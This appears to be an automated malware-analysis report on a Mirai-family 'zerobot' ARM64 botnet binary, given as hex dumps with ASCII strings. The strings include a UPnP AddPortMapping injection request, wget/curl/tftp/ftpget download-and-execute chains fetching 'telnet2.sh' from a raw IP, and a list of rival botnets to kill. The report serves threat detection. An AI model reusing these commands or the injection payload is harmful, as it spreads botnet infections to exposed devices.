zerobot.arm64.elf
Mirai botnet with C2 and exploits
UPnP AddPortMapping field injects a download-and-execute commandELF downloads and executes a raw-IP payload through fallback clients
SHA-256c718c5b0c8392db6c735aed9cc6700c7b1fdfb52cbf8c3e10b3e711c1d7b53a7
Evidence
⋯3 more rows
0xd79a8106c4d00000000004745540000000000.lM.....GET.....
0xd79b820485454502f312e310d0a557365722d HTTP/1.1..User-
0xd79c84167656e743a20000d0a486f73743a20Agent: ...Host:
⋯4 more rows
0xd7a18504f5354000000000100000000000000POST............
0xd7a2800000000000000005b6b776f726b6572........[kworker
0xd7a382f313a305d0000005b6b776f726b6572/1:0]...[kworker
0xd7a482f313a315d000000485454502f20312e/1:1]...HTTP/ 1.
0xd7a58310d0a0000000000485454502f312e311.......HTTP/1.1
⋯5 more rows
0xd7ab820485454502f312e310d0a486f73743a HTTP/1.1..Host:
0xd7ac820000000000000000d0a557365722d41 .........User-A
0xd7ad867656e743a204d6f7a696c6c612f352egent: Mozilla/5.
0xd7ae830202857696e646f7773204e542031300 (Windows NT 10
0xd7af82e303b2057696e36343b207836342920.0; Win64; x64)
0xd7b084170706c655765624b69742f3533372eAppleWebKit/537.
0xd7b1833360d0a000000004163636570743a2036......Accept:
0xd7b282a2f2a0d0a000000436f6e6e65637469*/*.....Connecti
0xd7b386f6e3a206b6565702d616c6976650d0aon: keep-alive..
0xd7b480000000000000000436f6e74656e742d........Content-
0xd7b584c656e6774683a200000000000000000Length: ........
0xd7b6848454144000000004d6f7a696c6c612fHEAD....Mozilla/
0xd7b78352e30202857696e646f7773204e54205.0 (Windows NT
0xd7b88362e3129204170706c655765624b69746.1) AppleWebKit
0xd7b982f3533372e333620284b48544d4c2c20/537.36 (KHTML,
0xd7ba86c696b65204765636b6f29204368726flike Gecko) Chro
0xd7bb86d652f34312e302e323232382e302053me/41.0.2228.0 S
0xd7bc861666172692f3533372e333600000000afari/537.36....
0xd7bd84d6f7a696c6c612f352e302028636f6dMozilla/5.0 (com
0xd7be870617469626c653b20553b204142726fpatible; U; ABro
0xd7bf877736520302e363b2053796c6c61626cwse 0.6; Syllabl
0xd7c086529204170706c655765624b69742f34e) AppleWebKit/4
0xd7c1832302b20284b48544d4c2c206c696b6520+ (KHTML, like
0xd7c28204765636b6f29004d6f7a696c6c612f Gecko).Mozilla/
0xd7c38352e302028636f6d70617469626c653b5.0 (compatible;
0xd7c48204142726f77736520302e343b205379 ABrowse 0.4; Sy
0xd7c586c6c61626c6529000000000000000000llable).........
0xd7c68e8030000000000000500000000000000................
⋯3 more rows
0xd83d000000000000000002f70726f63000000......../proc...
0xd83e02f70726f632f25732f73746174757300/proc/%s/status.
0xd83f04e616d653a0000007465727261626f74Name:...terrabot
0xd840000000000000000007365766572313037........sever107
0xd841038000000000000002f62696e2f6275738......./bin/bus
0xd842079626f78000000002f62696e2f737973ybox..../bin/sys
0xd843074656d64000000002f7573722f62696etemd..../usr/bin
0xd844000000000000000007465737400000000........test....
0xd84502f746d702f636f6e6469000000000000/tmp/condi......
0xd84602f746d702f7a78637239393939000000/tmp/zxcr9999...
0xd84702f746d702f636f6e64696e6574776f72/tmp/condinetwor
0xd84806b000000000000002f7661722f636f6ek......./var/con
0xd84906469626f740000002f7661722f7a7863dibot.../var/zxc
0xd84a072393939390000002f7661722f436f6er9999.../var/Con
0xd84b06469426f740000002f7661722f636f6ediBot.../var/con
0xd84c064696e65740000002f62696e2f776174dinet.../bin/wat
0xd84d06368646f670000006d69726169000000chdog...mirai...
0xd84e071626f74000000006f77617269000000qbot....owari...
⋯5 more rows
0xd85406d75687374696b0072626f7400000000muhstik.rbot....
0xd85507473756e616d69006b616974656e0000tsunami.kaiten..
0xd856067616667797400007a6f6c6c61726400gafgyt..zollard.
0xd8570616d6e657369610076706e66696c7465amnesia.vpnfilte
⋯5 more rows
0xd85d064656d6f6e626f740000000000000000demonbot........
0xd85e06c756369666572006d6f7a6900000000lucifer.mozi....
0xd85f06461726b5f6e65787573000000000000dark_nexus......
0xd86002f70726f632f25642f65786500000000/proc/%d/exe....
0xd86102e783836000000002e7838365f363400.x86.....x86_64.
⋯3 more rows
0xd86502e736834000000002e70706300000000.sh4.....ppc....
0xd86602f70726f632f6e65742f746370000000/proc/net/tcp...
0xd86705b6b776f726b65722f303a305d000000[kworker/0:0]...
0xd86805b6b776f726b65722f303a315d000000[kworker/0:1]...
0xd86905b6b776f726b65722f303a325d000000[kworker/0:2]...
⋯3 more rows
0xd90cb5447501802414e4d5746444e4350470fTGP..ANMWFDNCPG.
0xd90db4c454b4c5a22000000000000006f4d58LEKLZ".......oMX
0xd90eb4b4e4e430d170c12020a754b4c464d55KNNC......uKLFMU
0xd90fb51026c760213120c121902756d751416Q.lv.......umu..
0xd910b0b026352524e47754740694b560d1711..cRRNGuG@iKV...
0xd911b150c1114020a696a766f6e0e024e4b49......ijvon..NKI
0xd912b4702654741494d0b02614a504d4f470dG.eGAIM..aJPMOG.
0xd913b17130c120c101512160c131211027143..............qC
0xd914b4443504b0d1711150c111422006f4d58DCPK.......".oMX
0xd915b4b4e4e430d170c12020a754b4c464d55KNNC......uKLFMU
0xd916b51026c760213120c121902756d751416Q.lv.......umu..
0xd917b0b026352524e47754740694b560d1711..cRRNGuG@iKV...
0xd918b150c1114020a696a766f6e0e024e4b49......ijvon..NKI
0xd919b4702654741494d0b02614a504d4f470dG.eGAIM..aJPMOG.
0xd91ab17100c120c101516110c131314027143..............qC
0xd91bb4443504b0d1711150c111422006f4d58DCPK.......".oMX
0xd91cb4b4e4e430d170c12020a754b4c464d55KNNC......uKLFMU
0xd91db51026c7602140c131902756d7514160bQ.lv......umu...
0xd91eb026352524e47754740694b560d171115.cRRNGuG@iKV....
0xd91fb0c1114020a696a766f6e0e024e4b4947.....ijvon..NKIG
0xd920b02654741494d0b02614a504d4f470d17.eGAIM..aJPMOG..
0xd921b130c120c101512160c13121102714344.............qCD
0xd922b43504b0d1711150c11142200006f4d58CPK......."..oMX
0xd923b4b4e4e430d170c12020a754b4c464d55KNNC......uKLFMU
0xd924b51026c7602140c131902756d7514160bQ.lv......umu...
0xd925b026352524e47754740694b560d171115.cRRNGuG@iKV....
0xd926b0c1114020a696a766f6e0e024e4b4947.....ijvon..NKIG
0xd927b02654741494d0b02614a504d4f470d17.eGAIM..aJPMOG..
0xd928b100c120c101516110c13131402714344.............qCD
0xd929b43504b0d1711150c11142200006f4d58CPK......."..oMX
0xd92ab4b4e4e430d170c12020a6f43414b4c56KNNC......oCAKLV
0xd92bb4d514a19026b4c56474e026f4341026dMQJ..kLVGN.oCA.m
0xd92cb71027a0213127d13137d140b02635252q.z...}..}...cRR
0xd92db4e47754740694b560d1412130c150c15NGuG@iKV........
0xd92eb020a696a766f6e0e024e4b4947026547..ijvon..NKIG.eG
0xd92fb41494d0b02744750514b4d4c0d1b0c13AIM..tGPQKML....
0xd930b0c100271434443504b0d1412130c150c...qCDCPK.......
0xd931b15220000006f4d584b4e4e430d160c12."...oMXKNNC....
0xd933b6b67021b0c121902754b4c464d555102kg......uKLFMUQ.
0xd934b6c7602170c13190276504b46474c560dlv......vPKFGLV.
0xd935b170c120b2200000000000000006f4d58...."........oMX
0xd936b4b4e4e430d160c12020a414d4f524356KNNC......AMORCV
0xd938b754b4c464d5551026c7602140c121902uKLFMUQ.lv......
⋯3 more rows
0xd96785047444d5a0d11110c12220000000000PGDMZ.....".....
0xd96886f4d584b4e4e430d170c12020a754b4coMXKNNC......uKL
0xd9698464d5551026c760213120c121902754bFMUQ.lv.......uK
0xd96a84c141619025a14160b026352524e4775L....Z....cRRNGu
⋯4 more rows
0xd970861726d36340000002573257300000000arm64...%s%s....
0xd97187767657420687474703a2f2f25732f25wget http://%s/%
0xd9728732f2573202d4f202573000000000000s/%s -O %s......
0xd97386375726c202d6f20257320687474703acurl -o %s http:
0xd97482f2f25732f25732f2573000000000000//%s/%s/%s......
0xd975874667470202573202d63206765742025tftp %s -c get %
0xd976873202573000000006364202573202626s %s....cd %s &&
0xd97782074667470202d67202d722025732025 tftp -g -r %s %
0xd97887300000000000000667470676574202ds.......ftpget -
⋯6 more rows
0xd97f82f7661722f746d702f00000000000000/var/tmp/.......
0xd98085b6b776f726b65722f323a305d000000[kworker/2:0]...
0xd9818504f5354202f55442f3f392048545450POST /UD/?9 HTTP
0xd98282f312e310d0a557365722d4167656e74/1.1..User-Agent
0xd98383a207a65726f626f742d6f776e65642d: zerobot-owned-
0xd9848796f750d0a436f6e74656e742d547970you..Content-Typ
0xd9858653a20746578742f786d6c0d0a534f41e: text/xml..SOA
0xd986850416374696f6e3a2075726e3a736368PAction: urn:sch
0xd9878656d61732d75706e702d6f72673a7365emas-upnp-org:se
0xd988872766963653a57414e4950436f6e6e65rvice:WANIPConne
0xd98986374696f6e3a3123416464506f72744dction:1#AddPortM
0xd98a8617070696e670d0a0d0a3c3f786d6c20apping....<?xml
0xd98b876657273696f6e3d22312e3022203f3eversion="1.0" ?>
0xd98c83c733a456e76656c6f706520786d6c6e<s:Envelope xmln
0xd98d8733a733d22687474703a2f2f73636865s:s="http://sche
0xd98e86d61732e786d6c736f61702e6f72672fmas.xmlsoap.org/
0xd98f8736f61702f656e76656c6f70652f2220soap/envelope/"
0xd9908733a656e636f64696e675374796c653ds:encodingStyle=
0xd991822687474703a2f2f736368656d61732e"http://schemas.
0xd9928786d6c736f61702e6f72672f736f6170xmlsoap.org/soap
0xd99382f656e636f64696e672f223e3c733a42/encoding/"><s:B
⋯6 more rows
0xd9d28626f782077676574202d71202d4f2074box wget -q -O t
0xd9d38656c6e6574322e736820687474703a2felnet2.sh http:/
0xd9d482f3137362e36352e3133392e3135372f/176.65.139.157/
0xd9d5874656c6e6574322e73683b2062757379telnet2.sh; busy
0xd9d68626f782077676574202d71202d4f2074box wget -q -O t
0xd9d78656c6e6574322e736820687474703a2felnet2.sh http:/
0xd9d882f3137362e36352e3133392e3135372f/176.65.139.157/
0xd9d9874656c6e6574322e73683b2077676574telnet2.sh; wget
0xd9da8202d71202d4f2074656c6e6574322e73 -q -O telnet2.s
0xd9db86820687474703a2f2f3137362e36352eh http://176.65.
0xd9dc83133392e3135372f74656c6e6574322e139.157/telnet2.
0xd9dd873683b206375726c202d73202d6f2074sh; curl -s -o t
0xd9de8656c6e6574322e736820687474703a2felnet2.sh http:/
⋯5 more rows
0xd9e4874656c6e6574322e73683b2074667470telnet2.sh; tftp
0xd9e58203137362e36352e3133392e31353720 176.65.139.157
0xd9e682d63206765742074656c6e6574322e73-c get telnet2.s
0xd9e78683b2074667470202d722074656c6e65h; tftp -r telne
0xd9e8874322e7368202d67203137362e36352et2.sh -g 176.65.
0xd9e983133392e3135373b2066747067657420139.157; ftpget
0xd9ea82d76202d7520616e6f6e796d6f757320-v -u anonymous
0xd9eb82d7020616e6f6e796d6f7573202d5020-p anonymous -P
0xd9ec83231203137362e36352e3133392e313521 176.65.139.15
0xd9ed8372074656c6e6574322e73682074656c7 telnet2.sh tel
0xd9ee86e6574322e73683b2063686d6f642037net2.sh; chmod 7
0xd9ef837372074656c6e6574322e73683b207377 telnet2.sh; s
0xd9f08682074656c6e6574322e73683b20726dh telnet2.sh; rm
0xd9f18202d72662074656c6e6574322e736800 -rf telnet2.sh.
0xd9f286f67696e00000000617373776f726400ogin....assword.
⋯9 more rows